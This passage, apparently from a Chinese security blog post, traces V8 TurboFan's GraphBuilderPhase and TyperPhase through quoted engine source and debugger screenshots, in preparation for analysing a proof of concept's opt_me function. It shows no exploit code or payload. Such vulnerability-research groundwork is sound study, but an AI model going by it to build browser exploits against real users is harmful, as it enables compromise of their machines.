inherit !important;word-break: inherit !important;">15</span>  set_environment(&amp;env);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>  VisitBytecodes();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Finish the basic structure of the graph.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>  DCHECK_NE(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0u</span>, exit_controls_.size());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> input_count = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">static_cast</span>&lt;<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">int</span>&gt;(exit_controls_.size());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>  Node** <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> inputs = &amp;exit_controls_.front();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>  Node* end = graph()-&gt;NewNode(common()-&gt;End(input_count), input_count, inputs);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>  graph()-&gt;SetEnd(end);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">如下是poc中opt_me函数的bytecode<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.536" title="" data-type="png" data-w="750" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=135274a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcZat7oSeaooqcnibGiaBNqOUnUXdJkMPtb20SgOKZO0BZC0amrkqf9lGQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">VisitBytecodes() -&gt; VisitSingleBytecode() 会遍历每一条指令，并通过switch 宏来调用对应的生成node的函数，如这里遍历到第二条指令，会调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">BytecodeGraphBuilder::VisitLdaGlobal()</code><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.4866666666666667" title="" data-type="png" data-w="750" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2f106c42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcsibEO1suXoJGSy37xicwqmJbJpymRASEUIW66KcASlhicJR5f60XVnbmA%2F640%3Fwx_fmt%3Dpng"/></figure><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\bytecode-graph-builder.cc: 979</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">void</span> BytecodeGraphBuilder::VisitLdaGlobal() {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  PrepareEagerCheckpoint();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  Handle&lt;Name&gt; name(<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>      Name::cast(bytecode_iterator().GetConstantForIndexOperand(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>)), isolate());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">uint32_t</span> feedback_slot_index = bytecode_iterator().GetIndexOperand(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>  Node* node =<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>      BuildLoadGlobal(name, feedback_slot_index, TypeofMode::NOT_INSIDE_TYPEOF);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  environment()-&gt;BindAccumulator(node, Environment::kAttachFrameState);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">此条指令处理后，会继续处理下一条指令，如此遍历bytecode生成对应node<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.10266666666666667" title="" data-type="png" data-w="750" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8f09f128&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzckZxXNTAQ2gx5bx6KY2BvfSu2ibGvZkCrMCicp7AnvKbPGsMdxjQv0bGw%2F640%3Fwx_fmt%3Dpng"/></figure><br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.05333333333333334" title="" data-type="png" data-w="750" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=612e77d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcvuiaHu7QQ25wy7icnB6llI1PIXUK4q86b1rRKy7YYicFAiaiaDmiaiaictFUuA%2F640%3Fwx_fmt%3Dpng"/></figure><br/>至此，我们粗略的调试了一遍<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GraphBuilderPhase</code>，对一些基本的结构有些了解。<p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><br/></p><h4 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">（3）TyperPhase</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">经过这个Phase的优化，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sea of nodes</code>的结点便都有了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Type &amp; Range</code>。代码看<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">TyperPhase</code>中只添加了一个<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">reducer</code>：<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Visitor</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\typer.cc: 348</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">void</span> Typer::Run(<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> NodeVector&amp; roots,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>                LoopVariableOptimizer* induction_vars) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (induction_vars != <span style="font-size: inherit;line-height: inherit;color: rgb(86, 182, 194);overflow-wrap: inherit !important;word-break: inherit !important;">nullptr</span>) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>    induction_vars-&gt;ChangeToInductionVariablePhis();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>  <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">Visitor <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">visitor</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">this</span>, induction_vars)</span></span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>  <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">GraphReducer <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">graph_reducer</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(zone()</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">graph</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>)</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  graph_reducer.AddReducer(&amp;visitor);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (Node* <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> root : roots) graph_reducer.ReduceNode(root);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>  graph_reducer.ReduceGraph();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (induction_vars != <span style="font-size: inherit;line-height: inherit;color: rgb(86, 182, 194);overflow-wrap: inherit !important;word-break: inherit !important;">nullptr</span>) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>    induction_vars-&gt;ChangeToPhisAndInsertGuards();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">跟入<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Typer::Visitor::Reduce</code>,一个switch结构，根据node的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">opcode</code>调用不同的函数<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">UpdateType()</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\typer.cc: 66</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>  <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">Reduction <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">Reduce</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(Node* node)</span> override </span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (node-&gt;op()-&gt;ValueOutputCount() == <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>) <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> NoChange();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">switch</span> (node-&gt;opcode()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">define</span> DECLARE_CASE(x) \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  case IrOpcode::k##x:  \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>    return UpdateType(node, TypeBinaryOp(node, x##Typer));</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>      JS_SIMPLE_BINOP_LIST(DECLARE_CASE)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">undef</span> DECLARE_CASE</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">define</span> DECLARE_CASE(x) \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>  case IrOpcode::k##x:  \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span></span><br/></code></pre><h5 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">(3-1) SpeculativeNumberAdd node</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">跟踪下<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SpeculateNumberAdd</code>结点的Typer处理，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Typer::Visitor::Reduce</code>行94处理<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.15704697986577182" title="" data-type="png" data-w="745" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=ab84b65a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcnB7pkJv6h80bx8V52icZDL84qIxEXATjooXvgkcoojjVBaU85bQO4Qg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V)</code>声明如下，宏展开即<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">DECLARE_CASE(SpeculativeNumberAdd)</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">define</span> SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V) \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>  V(SpeculativeNumberAdd)                           \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  V(SpeculativeNumberSubtract)                      \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  V(SpeculativeNumberMultiply)                      \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  V(SpeculativeNumberDivide)                        \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  V(SpeculativeNumberModulus)                       \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>  V(SpeculativeNumberBitwiseAnd)                    \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>  V(SpeculativeNumberBitwiseOr)                     \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  V(SpeculativeNumberBitwiseXor)                    \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>  V(SpeculativeNumberShiftLeft)                     \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>  V(SpeculativeNumberShiftRight)                    \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>  V(SpeculativeNumberShiftRightLogical)             \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>  V(SpeculativeSafeIntegerAdd)                      \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>  V(SpeculativeSafeIntegerSubtract)</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">根据上图中<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">DECLARE_CASE</code>的声明，会调用行92<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">UpdateType</code>。先进入<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">TypeBinaryOp(node,x)</code>,条件成立最后调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">f()</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\typer.cc: 393</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span>Type Typer::Visitor::TypeBinaryOp(Node* node, BinaryTyperFun f) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">3</span>  Type left = Operand(node, <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">4</span>  Type right = Operand(node, <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">5</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> left.IsNone() || right.IsNone() ? Type::None()<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 